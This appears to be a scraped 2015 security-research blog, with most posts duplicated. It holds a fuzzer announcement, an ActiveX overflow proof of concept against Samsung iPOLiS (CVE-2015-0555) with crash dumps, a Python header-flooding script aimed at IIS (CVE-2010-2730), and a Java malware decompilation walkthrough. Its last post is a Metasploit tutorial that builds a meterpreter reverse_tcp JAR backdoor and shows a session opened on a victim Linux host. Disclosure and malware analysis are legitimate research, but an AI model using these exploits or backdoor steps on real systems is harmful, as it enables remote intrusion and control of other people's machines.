Was searching for basic HTTP/Web Server Fuzzer but could not find one.
So ended by writing this quick dirty Fuzzer.
Features
Supports 40 different Request Methods
Supports around 40 Request Headers
Can send invalid request methods and headers
Fuzz Methods and Headers
Fuzz Headers with XSS String(s), blank strings, huge buffer
https://github.com/praveendhac/VulnerabilityResearch/blob/master/WebServer_Fuzzer.py
Please drop comments if you want me to add new feature(s).
Friday, March 6, 2015
Saturday, February 28, 2015
Samsung iPOLiS 1.12.2 XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC
Author: Praveen Darshanam
CVE: 2015-0555
Vulnerable File: "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype: "Function ReadConfigValue ( ByVal szKey As String ) As String"
memberName: "ReadConfigValue"
progid/ActiveX: "XNSSDKDEVICELib.XnsSdkDevice"
Operating System: Windows 7 Ultimate N SP1
Vulnerable Software: Samsung iPOLiS 1.12.2
Proof of Concept
Exception Code: ACCESS_VIOLATION
Disasm: 6492CE MOV AL,[EDI+EDX]
Seh Chain:
--------------------------------------------------
1 41414141
Called From Returns To
--------------------------------------------------
XNSSDKDEVICE.6492CE 41414141
41414141 8ABAB41
8ABAB41 mfc100.64BA90C1
mfc100.64BA90C1 3D39D016
FFFFFFFE mfc100.64AFBE5C
Registers:
--------------------------------------------------
EIP 006492CE
EAX 00000408
EBX 01AD9FB0 -> 0065A564
ECX 00000414
EDX 08ABAB41
EDI 0000009C
ESI 0000009C
EBP 002DEA9C -> Asc: AAAAAAAAA
ESP 002DE7F4 -> 59D56B19 -> Asc: k k
Block Disassembly:
--------------------------------------------------
6492BD MOV ECX,EAX
6492BF XOR ESI,ESI
6492C1 MOV [EBP-298],ECX
6492C7 TEST ECX,ECX
6492C9 JLE SHORT 00649340
6492CB MOV EDX,[EBP+8]
6492CE MOV AL,[EDI+EDX] <--- crash="" p="">6492D1 CMP AL,2F
6492D3 JNZ SHORT 00649333
6492D5 TEST EDI,EDI
6492D7 JNZ SHORT 00649304
6492D9 PUSH 80
6492DE LEA EAX,[EBP-90]
6492E4 PUSH EDI
6492E5 PUSH EAX
ArgDump:
--------------------------------------------------
EBP+8 08ABAB41
EBP+12 64BA90C1 -> EBE84589
EBP+16 3D39D016
EBP+20 FFFFFFFE
EBP+24 64AFBE5C -> CCCCCCC3
EBP+28 00000018
Stack Dump:
--------------------------------------------------
2DE7F4 19 6B D5 59 08 00 00 00 A0 EA 2D 00 10 92 64 00 [.k.Y..........d.]
2DE804 14 04 00 00 64 65 C4 64 00 00 00 00 00 00 00 00 [....de.d........]
2DE814 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
2DE824 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
2DE834 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
Exception Code: ACCESS_VIOLATION
Disasm: 41414141 ?????
Seh Chain:
--------------------------------------------------
1 41414141
Called From Returns To
--------------------------------------------------
ntdll.77B670B4 ntdll.77BDAB1A
ntdll.77BDAB1A ntdll.77BB0404
ntdll.77BB0404 ntdll.77B3F956
ntdll.77B3F956 ntdll.77B67017
ntdll.77B67017 41414141
41414141 8ABAB41
8ABAB41 mfc100.64BA90C1
mfc100.64BA90C1 3D39D016
FFFFFFFE mfc100.64AFBE5C
Registers:
--------------------------------------------------
EIP 77B670B4 -> C0000005
EAX 002DE0EC -> C0000005
EBX 41414141
ECX 41414141
EDX 00000000
EDI 00000000
ESI 002DE0EC -> C0000005
EBP 002DE0D8 -> 002DE40C
ESP 002DE088 -> 77B662A4
Block Disassembly:
--------------------------------------------------
77B6709C MOV [ESP+8],EBX
77B670A0 JMP 77B837AD
77B670A5 LEA ESP,[ESP]
77B670AC LEA ESP,[ESP]
77B670B0 MOV EDX,ESP
77B670B2 SYSENTER
77B670B4 RETN <--- crash="" p="">77B670B5 LEA ESP,[ESP]
77B670BC LEA ESP,[ESP]
77B670C0 LEA EDX,[ESP+8]
77B670C4 INT 2E
77B670C6 RETN
77B670C7 NOP
77B670C8 PUSH EBP
77B670C9 MOV EBP,ESP
ArgDump:
--------------------------------------------------
EBP+8 002DE0EC -> C0000005
EBP+12 002DE13C -> 00000000
EBP+16 00000000
EBP+20 C0000005
EBP+24 00000001
EBP+28 00000000
P.S. CERT tried to coordinate but there wasn't any response from Samsung
CVE: 2015-0555
Vulnerable File: "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype: "Function ReadConfigValue ( ByVal szKey As String ) As String"
memberName: "ReadConfigValue"
progid/ActiveX: "XNSSDKDEVICELib.XnsSdkDevice"
Operating System: Windows 7 Ultimate N SP1
Vulnerable Software: Samsung iPOLiS 1.12.2
Proof of Concept
<html>
<head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC </head>
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>
var argCount = 1;
var arg1= "";
for (i=0; i<= 4000; i++)
{
arg1 += "A";
}
target.ReadConfigValue(arg1);
</script>
</html>
Stack TraceException Code: ACCESS_VIOLATION
Disasm: 6492CE MOV AL,[EDI+EDX]
Seh Chain:
--------------------------------------------------
1 41414141
Called From Returns To
--------------------------------------------------
XNSSDKDEVICE.6492CE 41414141
41414141 8ABAB41
8ABAB41 mfc100.64BA90C1
mfc100.64BA90C1 3D39D016
FFFFFFFE mfc100.64AFBE5C
Registers:
--------------------------------------------------
EIP 006492CE
EAX 00000408
EBX 01AD9FB0 -> 0065A564
ECX 00000414
EDX 08ABAB41
EDI 0000009C
ESI 0000009C
EBP 002DEA9C -> Asc: AAAAAAAAA
ESP 002DE7F4 -> 59D56B19 -> Asc: k k
Block Disassembly:
--------------------------------------------------
6492BD MOV ECX,EAX
6492BF XOR ESI,ESI
6492C1 MOV [EBP-298],ECX
6492C7 TEST ECX,ECX
6492C9 JLE SHORT 00649340
6492CB MOV EDX,[EBP+8]
6492CE MOV AL,[EDI+EDX] <--- crash="" p="">6492D1 CMP AL,2F
6492D3 JNZ SHORT 00649333
6492D5 TEST EDI,EDI
6492D7 JNZ SHORT 00649304
6492D9 PUSH 80
6492DE LEA EAX,[EBP-90]
6492E4 PUSH EDI
6492E5 PUSH EAX
ArgDump:
--------------------------------------------------
EBP+8 08ABAB41
EBP+12 64BA90C1 -> EBE84589
EBP+16 3D39D016
EBP+20 FFFFFFFE
EBP+24 64AFBE5C -> CCCCCCC3
EBP+28 00000018
Stack Dump:
--------------------------------------------------
2DE7F4 19 6B D5 59 08 00 00 00 A0 EA 2D 00 10 92 64 00 [.k.Y..........d.]
2DE804 14 04 00 00 64 65 C4 64 00 00 00 00 00 00 00 00 [....de.d........]
2DE814 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
2DE824 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
2DE834 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
Exception Code: ACCESS_VIOLATION
Disasm: 41414141 ?????
Seh Chain:
--------------------------------------------------
1 41414141
Called From Returns To
--------------------------------------------------
ntdll.77B670B4 ntdll.77BDAB1A
ntdll.77BDAB1A ntdll.77BB0404
ntdll.77BB0404 ntdll.77B3F956
ntdll.77B3F956 ntdll.77B67017
ntdll.77B67017 41414141
41414141 8ABAB41
8ABAB41 mfc100.64BA90C1
mfc100.64BA90C1 3D39D016
FFFFFFFE mfc100.64AFBE5C
Registers:
--------------------------------------------------
EIP 77B670B4 -> C0000005
EAX 002DE0EC -> C0000005
EBX 41414141
ECX 41414141
EDX 00000000
EDI 00000000
ESI 002DE0EC -> C0000005
EBP 002DE0D8 -> 002DE40C
ESP 002DE088 -> 77B662A4
Block Disassembly:
--------------------------------------------------
77B6709C MOV [ESP+8],EBX
77B670A0 JMP 77B837AD
77B670A5 LEA ESP,[ESP]
77B670AC LEA ESP,[ESP]
77B670B0 MOV EDX,ESP
77B670B2 SYSENTER
77B670B4 RETN <--- crash="" p="">77B670B5 LEA ESP,[ESP]
77B670BC LEA ESP,[ESP]
77B670C0 LEA EDX,[ESP+8]
77B670C4 INT 2E
77B670C6 RETN
77B670C7 NOP
77B670C8 PUSH EBP
77B670C9 MOV EBP,ESP
ArgDump:
--------------------------------------------------
EBP+8 002DE0EC -> C0000005
EBP+12 002DE13C -> 00000000
EBP+16 00000000
EBP+20 C0000005
EBP+24 00000001
EBP+28 00000000
P.S. CERT tried to coordinate but there wasn't any response from Samsung
CVE-2010-2730: Microsoft IIS Request Header Buffer Overflow Vulnerability
Writing Proof of Concept based on information available on various sites.
Checkpoint details the Vulnerability as
"The vulnerability is due to a heap buffer overflow error when processing unexpected number of headers in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to a target server. Successful exploitation would allow an attacker to inject and execute arbitrary code on the target system with the security privileges of the IIS Worker process."
Configuring FastCGI for IIS 7.5
Browse to
Control Panel -> Programs and Features
click "Turn Windows features on or off" and follow the path shown below.
Note: I also tried enabling only CGI and un checking all the other checkboxes given below.
Install Administrator pack for IIS 7.5 after installing the pack click on start and type IIS you will see Internet Information Services (IIS Manager), clicking on it will take you to below window.
Configure FastCGI as shown below
If you feel configuration didn'g go fine you can configure and verify the same using CLI.
appcmd.exe is found at
%windir%\system32\inetsrv\
If FastCGI installation is successful accessing
http://localhost/phpinfo.cgi
should show below page. I created the page phpinfo.php under
C:\Inetpub\wwwroot\
make sure the directory has proper permissions.
Proof of Concept
Usage
./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py server_ip_addr http_port
praveend@praveend-VirtualBox:~$
$ ./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py 192.168.56.110 80
sys.argv=['./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py', '192.168.56.110', '80']
in main
('Accept-Language', 'en-us')
('Connection', 'keep-alive')
('Accept', 'text/html,application/xhtml+xml,application/xml')
('Keep-Alive', '115')
('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
('Host', '192.168.56.110')
Creating junk Request Headers
url: http://192.168.56.110:80/phpinfo.php
Response Length =119639
Exploit Traffic
I didn't see any crash after sending multiple fake headers, not sure if I interpreted the Vulnerability in correct manner.
References
https://technet.microsoft.com/en-us/library/dd239230(v=ws.10).aspx
http://www.iis.net/configreference/system.webserver/fastcgi
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2730
http://www.checkpoint.com/defense/advisories/public/2013/cpai-03-dec2.html
http://www.juniper.net/security/auto/vulnerabilities/vuln4476.html
https://technet.microsoft.com/library/security/ms10-065
Checkpoint details the Vulnerability as
"The vulnerability is due to a heap buffer overflow error when processing unexpected number of headers in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to a target server. Successful exploitation would allow an attacker to inject and execute arbitrary code on the target system with the security privileges of the IIS Worker process."
Configuring FastCGI for IIS 7.5
Browse to
Control Panel -> Programs and Features
click "Turn Windows features on or off" and follow the path shown below.
Note: I also tried enabling only CGI and un checking all the other checkboxes given below.
Install Administrator pack for IIS 7.5 after installing the pack click on start and type IIS you will see Internet Information Services (IIS Manager), clicking on it will take you to below window.
Configure FastCGI as shown below
If you feel configuration didn'g go fine you can configure and verify the same using CLI.
appcmd.exe is found at
%windir%\system32\inetsrv\
If FastCGI installation is successful accessing
http://localhost/phpinfo.cgi
should show below page. I created the page phpinfo.php under
C:\Inetpub\wwwroot\
make sure the directory has proper permissions.
Proof of Concept
#!/usr/bin/python
import os, sys
import urllib2
def main(all_args):
print "in main"
if len(all_args) != 3:
print "invalid args"
print "usage:\n\t%s server_ip_addr http_port"%(all_args[0])
sys.exit();
headers = {"Host":all_args[1],
"Accept": "text/html,application/xhtml+xml,application/xml",
"Accept-Language": "en-us",
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Keep-Alive": "115",
"Connection": "keep-alive"}
for k,v in headers.items():
print (k, v)
#create junk headers
print "Creating junk Request Headers"
for i in range(1,400):
junk_header = "My-Name" + str(i)
value = "Praveen Darshanam" + str(i)
headers.update({junk_header: value})
url = "http://" + all_args[1] + ":" + all_args[2] + "/phpinfo.php"
#url = "http://" + all_args[1] + "/info.php"
print "url: " + url
#data = "From Praveen Darshanam"
#req = urllib2.Request(url, data, headers)
req = urllib2.Request(url, None, headers)
response = urllib2.urlopen(req)
print "Response Length =" + str(len(response.read()))
if __name__ == "__main__":
print "sys.argv=" + str(sys.argv)
main(sys.argv)
Usage
./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py server_ip_addr http_port
praveend@praveend-VirtualBox:~$
$ ./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py 192.168.56.110 80
sys.argv=['./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py', '192.168.56.110', '80']
in main
('Accept-Language', 'en-us')
('Connection', 'keep-alive')
('Accept', 'text/html,application/xhtml+xml,application/xml')
('Keep-Alive', '115')
('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
('Host', '192.168.56.110')
Creating junk Request Headers
url: http://192.168.56.110:80/phpinfo.php
Response Length =119639
Exploit Traffic
I didn't see any crash after sending multiple fake headers, not sure if I interpreted the Vulnerability in correct manner.
References
https://technet.microsoft.com/en-us/library/dd239230(v=ws.10).aspx
http://www.iis.net/configreference/system.webserver/fastcgi
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2730
http://www.checkpoint.com/defense/advisories/public/2013/cpai-03-dec2.html
http://www.juniper.net/security/auto/vulnerabilities/vuln4476.html
https://technet.microsoft.com/library/security/ms10-065
Sunday, February 22, 2015
Java Malware: Java Decompilers for JAR Malware Analysis
Krakatau comes with three tools, an assembler, disassembler and a decompiler.
From the author of Krakatau, Robert Grosse
" The Krakatau decompiler takes a different approach to most Java decompilers.
It can be thought of more as a compiler whose input language is Java bytecode
and whose target language happens to be Java source code. Krakatau takes in
arbitrary bytecode, and attempts to transform it to equivalent Java code. This
makes it robust to minor obfuscation, though it has the drawback of not
reconstructing the "original" source, leading to less readable output than a
pattern matching decompiler would produce for unobfuscated Java classes."
decompile.py can extract class files from a .jar file and decompiles the extracted .class file to Java code (.java). Below command decompiles .class file to .java file and places the file in praveendecompile directory.
$ python decompile.py -path . hello.class -out praveendecompile/
Dissecting the command
$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
-out output directory
-path path to core language classes, directories etc
-skip continue upon errors
$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
Krakatau Copyright (C) 2012-14 Robert Grosse
This program is provided as open source under the GNU General Public License.
See LICENSE.TXT for more details.
Attempting to automatically locate the standard library...
Found at /usr/lib/jvm/java-1.7.0-openjdk-i386/jre/lib/rt.jar
processing target plugins/Server, 2 remaining
Loading plugins/Server
Loading java/lang/Object
Loading java/lang/Throwable
Loading java/io/Serializable
Loading java/lang/IllegalMonitorStateException
Loading java/lang/RuntimeException
Loading java/lang/Exception
Decompiling method ()V
Decompiling method onLine ()V
Decompiling method offLine ()V
Decompiling method getId ()Ljava/lang/String;
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/plugins/Server.java
0.369355201721 seconds elapsed
processing target Main, 1 remaining
Loading Main
Loading java/lang/ClassLoader
Loading java/io/InputStream
Loading java/io/Closeable
Loading java/lang/AutoCloseable
Loading java/io/ByteArrayInputStream
Loading java/io/PrintStream
Loading java/io/FilterOutputStream
Loading java/io/OutputStream
Loading java/io/Flushable
Loading java/lang/Appendable
Loading java/lang/String
Loading java/lang/Comparable
Loading java/lang/CharSequence
Loading java/util/jar/JarInputStream
Loading java/util/zip/ZipInputStream
Loading java/util/zip/InflaterInputStream
Loading java/io/FilterInputStream
Loading java/util/zip/ZipConstants
Loading java/lang/OutOfMemoryError
Loading java/lang/VirtualMachineError
Loading java/lang/Error
Decompiling method iiIiiiiiii ([BLjava/lang/String;)Ljava/util/jar/JarInputStream;
Loading java/util/HashMap
Loading java/util/AbstractMap
Loading java/util/Map
Loading java/lang/Cloneable
Loading java/lang/ClassCastException
Loading java/lang/NullPointerException
Decompiling method getResourceAsStream (Ljava/lang/String;)Ljava/io/InputStream;
Loading java/util/jar/JarEntry
Loading java/util/zip/ZipEntry
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarEntry;)Ljava/lang/String;
Loading java/lang/ClassNotFoundException
Loading java/lang/ReflectiveOperationException
Loading java/lang/Class
Loading java/lang/reflect/GenericDeclaration
Loading java/lang/reflect/Type
Loading java/lang/reflect/AnnotatedElement
Decompiling method findClass (Ljava/lang/String;)Ljava/lang/Class;
Decompiling method iiIiiiiiii (Ljava/util/jar/JarInputStream;)V
Loading java/io/ByteArrayOutputStream
Decompiling method ()V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarInputStream;)Ljava/util/jar/JarEntry;
Decompiling method iiIiiiiiii ()V
Loading java/lang/StackTraceElement
Loading java/lang/StringBuffer
Loading java/lang/AbstractStringBuilder
Loading java/lang/ArrayIndexOutOfBoundsException
Loading java/lang/IndexOutOfBoundsException
Loading java/lang/NegativeArraySizeException
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;)Ljava/lang/String;
Loading java/lang/reflect/Method
Loading java/lang/reflect/AccessibleObject
Loading java/lang/reflect/Member
Decompiling method main ([Ljava/lang/String;)V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;[B)Ljava/lang/Class;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ()Ljava/io/InputStream;
Loading java/io/Reader
Loading java/lang/Readable
Loading java/io/InputStreamReader
Loading java/io/BufferedReader
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/InputStream;)Ljava/lang/String;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/ByteArrayOutputStream;)[B
Decompiling method loadClass (Ljava/lang/String;)Ljava/lang/Class;
Loading java/lang/StringBuilder
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ([BLjava/lang/String;)[B
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/Main.java
15.0299580097 seconds elapsed
*********************************************************
Highlighted the importand parts of the decompilation
Above decompilation creates couple of files under temp_praveen directory
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau/temp_praveen$
$ ls -R
Main.java plugins
./plugins:
Server.java
disassemble.py takes class or jar file as input and converts it to assembly language format and the output can be reassembled. The ouput is saved into .j file. If jar file is input it disassembles all the class files part of jar into .j files.
python disassemble.py Main.class
$ python ../disassemble.py Main.class
processing target Main.class, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/Main.j
0.280933856964 seconds elapsed
javap binary is included with the JDK installation. javap can be used to see the bytecode of a class
assemble.py is used to convert byte code(.j) to class file. JVM class file format
python assemble.py Main.j
$ python ../../assemble.py Server.j
Processing file Server.j, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/plugins/Server.class
Java malware might use different obfuscation techniques to make it difficult for Malware Analyst and detection devices.Errors encountered while decompilation might need to be fixed manually.
http://research.zscaler.com/2013/08/malicious-jar-files-hosted-on-google.html
http://stackoverflow.com/questions/27340147/how-to-decompile-class-and-jar-file-using-storyyeller-krakatau
https://github.com/Storyyeller/Krakatau/blob/master/README.TXT
https://raw.githubusercontent.com/Storyyeller/Krakatau/master/Documentation/assembler.txt
From the author of Krakatau, Robert Grosse
" The Krakatau decompiler takes a different approach to most Java decompilers.
It can be thought of more as a compiler whose input language is Java bytecode
and whose target language happens to be Java source code. Krakatau takes in
arbitrary bytecode, and attempts to transform it to equivalent Java code. This
makes it robust to minor obfuscation, though it has the drawback of not
reconstructing the "original" source, leading to less readable output than a
pattern matching decompiler would produce for unobfuscated Java classes."
decompile.py can extract class files from a .jar file and decompiles the extracted .class file to Java code (.java). Below command decompiles .class file to .java file and places the file in praveendecompile directory.
$ python decompile.py -path . hello.class -out praveendecompile/
Dissecting the command
$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
-out output directory
-path path to core language classes, directories etc
-skip continue upon errors
$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
Krakatau Copyright (C) 2012-14 Robert Grosse
This program is provided as open source under the GNU General Public License.
See LICENSE.TXT for more details.
Attempting to automatically locate the standard library...
Found at /usr/lib/jvm/java-1.7.0-openjdk-i386/jre/lib/rt.jar
processing target plugins/Server, 2 remaining
Loading plugins/Server
Loading java/lang/Object
Loading java/lang/Throwable
Loading java/io/Serializable
Loading java/lang/IllegalMonitorStateException
Loading java/lang/RuntimeException
Loading java/lang/Exception
Decompiling method
Decompiling method onLine ()V
Decompiling method offLine ()V
Decompiling method getId ()Ljava/lang/String;
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/plugins/Server.java
0.369355201721 seconds elapsed
processing target Main, 1 remaining
Loading Main
Loading java/lang/ClassLoader
Loading java/io/InputStream
Loading java/io/Closeable
Loading java/lang/AutoCloseable
Loading java/io/ByteArrayInputStream
Loading java/io/PrintStream
Loading java/io/FilterOutputStream
Loading java/io/OutputStream
Loading java/io/Flushable
Loading java/lang/Appendable
Loading java/lang/String
Loading java/lang/Comparable
Loading java/lang/CharSequence
Loading java/util/jar/JarInputStream
Loading java/util/zip/ZipInputStream
Loading java/util/zip/InflaterInputStream
Loading java/io/FilterInputStream
Loading java/util/zip/ZipConstants
Loading java/lang/OutOfMemoryError
Loading java/lang/VirtualMachineError
Loading java/lang/Error
Decompiling method iiIiiiiiii ([BLjava/lang/String;)Ljava/util/jar/JarInputStream;
Loading java/util/HashMap
Loading java/util/AbstractMap
Loading java/util/Map
Loading java/lang/Cloneable
Loading java/lang/ClassCastException
Loading java/lang/NullPointerException
Decompiling method getResourceAsStream (Ljava/lang/String;)Ljava/io/InputStream;
Loading java/util/jar/JarEntry
Loading java/util/zip/ZipEntry
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarEntry;)Ljava/lang/String;
Loading java/lang/ClassNotFoundException
Loading java/lang/ReflectiveOperationException
Loading java/lang/Class
Loading java/lang/reflect/GenericDeclaration
Loading java/lang/reflect/Type
Loading java/lang/reflect/AnnotatedElement
Decompiling method findClass (Ljava/lang/String;)Ljava/lang/Class;
Decompiling method iiIiiiiiii (Ljava/util/jar/JarInputStream;)V
Loading java/io/ByteArrayOutputStream
Decompiling method
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarInputStream;)Ljava/util/jar/JarEntry;
Decompiling method iiIiiiiiii ()V
Loading java/lang/StackTraceElement
Loading java/lang/StringBuffer
Loading java/lang/AbstractStringBuilder
Loading java/lang/ArrayIndexOutOfBoundsException
Loading java/lang/IndexOutOfBoundsException
Loading java/lang/NegativeArraySizeException
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;)Ljava/lang/String;
Loading java/lang/reflect/Method
Loading java/lang/reflect/AccessibleObject
Loading java/lang/reflect/Member
Decompiling method main ([Ljava/lang/String;)V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;[B)Ljava/lang/Class;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ()Ljava/io/InputStream;
Loading java/io/Reader
Loading java/lang/Readable
Loading java/io/InputStreamReader
Loading java/io/BufferedReader
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/InputStream;)Ljava/lang/String;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/ByteArrayOutputStream;)[B
Decompiling method loadClass (Ljava/lang/String;)Ljava/lang/Class;
Loading java/lang/StringBuilder
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ([BLjava/lang/String;)[B
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/Main.java
15.0299580097 seconds elapsed
*********************************************************
Highlighted the importand parts of the decompilation
Above decompilation creates couple of files under temp_praveen directory
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau/temp_praveen$
$ ls -R
Main.java plugins
./plugins:
Server.java
Rename 2f8d204b747ed971a8bc8927b2e0898c.jar to 2f8d204b747ed971a8bc8927b2e0898c.zip and unzip the zip file (unzip on .jar file might work, did not try though)
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$
$ unzip 2f8d204b747ed971a8bc8927b2e0898c.zip
Archive: 2f8d204b747ed971a8bc8927b2e0898c.zip
inflating: META-INF/MANIFEST.MF
inflating: MANIFEST.MF
inflating: ID
inflating: plugins/Server.class
inflating: Main.class
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$
python disassemble.py Main.class
$ python ../disassemble.py Main.class
processing target Main.class, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/Main.j
0.280933856964 seconds elapsed
javap binary is included with the JDK installation. javap can be used to see the bytecode of a class
$javap -c Main.class
assemble.py is used to convert byte code(.j) to class file. JVM class file format
python assemble.py Main.j
$ python ../../assemble.py Server.j
Processing file Server.j, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/plugins/Server.class
Java malware might use different obfuscation techniques to make it difficult for Malware Analyst and detection devices.Errors encountered while decompilation might need to be fixed manually.
http://research.zscaler.com/2013/08/malicious-jar-files-hosted-on-google.html
http://stackoverflow.com/questions/27340147/how-to-decompile-class-and-jar-file-using-storyyeller-krakatau
https://github.com/Storyyeller/Krakatau/blob/master/README.TXT
https://raw.githubusercontent.com/Storyyeller/Krakatau/master/Documentation/assembler.txt
Saturday, February 21, 2015
Compromising machines running Linux using Metasploit JAR Backdoors
We can compromise Windows machine using malicious EXE file acting as a backdoor generated using Metasploit. Machines running Linux can be compromised using jar backdoors.
Creating jar backdoor file using Metasploit msfpayload to hack Linux box
root@kali-praveend-attacker:~# msfpayload java/meterpreter/reverse_tcp LHOST=1.1.1.32 LPORT=8888 R > compromise.jar
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
Execute the jar file created above on Linux box
praveen@victim:/tmp$ sudo java -jar compromise.jar
On Kali Execute below commands so that victim will connect back to the attacker when victim executes JAR backdoor
msf > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.1.1.32
LHOST => 1.1.1.32
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > exploit
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 1.1.1.32 yes The listen address
LPORT 8888 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.32:8888
[*] Starting the payload handler...
[*] Sending stage (30355 bytes) to 1.1.1.40
[*] Meterpreter session 1 opened (1.1.1.32:8888 -> 1.1.1.40:33457) at 2015-02-15 17:49:04 -0500
Post exploitation commands
meterpreter > sysinfo
Computer : victim
OS : Linux 3.13.0-32-generic (amd64)
Meterpreter : java/java
meterpreter > pwd
/tmp
Creating jar file from class file.
root@kali-ucs:~/rmx_remote# jar cvf compromise.jar EvilMBean.class
added manifest
adding: EvilMBean.class(in = 172) (out= 134)(deflated 22%)
Creating jar backdoor file using Metasploit msfpayload to hack Linux box
root@kali-praveend-attacker:~# msfpayload java/meterpreter/reverse_tcp LHOST=1.1.1.32 LPORT=8888 R > compromise.jar
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
Execute the jar file created above on Linux box
praveen@victim:/tmp$ sudo java -jar compromise.jar
On Kali Execute below commands so that victim will connect back to the attacker when victim executes JAR backdoor
msf > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.1.1.32
LHOST => 1.1.1.32
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > exploit
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 1.1.1.32 yes The listen address
LPORT 8888 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.32:8888
[*] Starting the payload handler...
[*] Sending stage (30355 bytes) to 1.1.1.40
[*] Meterpreter session 1 opened (1.1.1.32:8888 -> 1.1.1.40:33457) at 2015-02-15 17:49:04 -0500
Post exploitation commands
meterpreter > sysinfo
Computer : victim
OS : Linux 3.13.0-32-generic (amd64)
Meterpreter : java/java
meterpreter > pwd
/tmp
Creating jar file from class file.
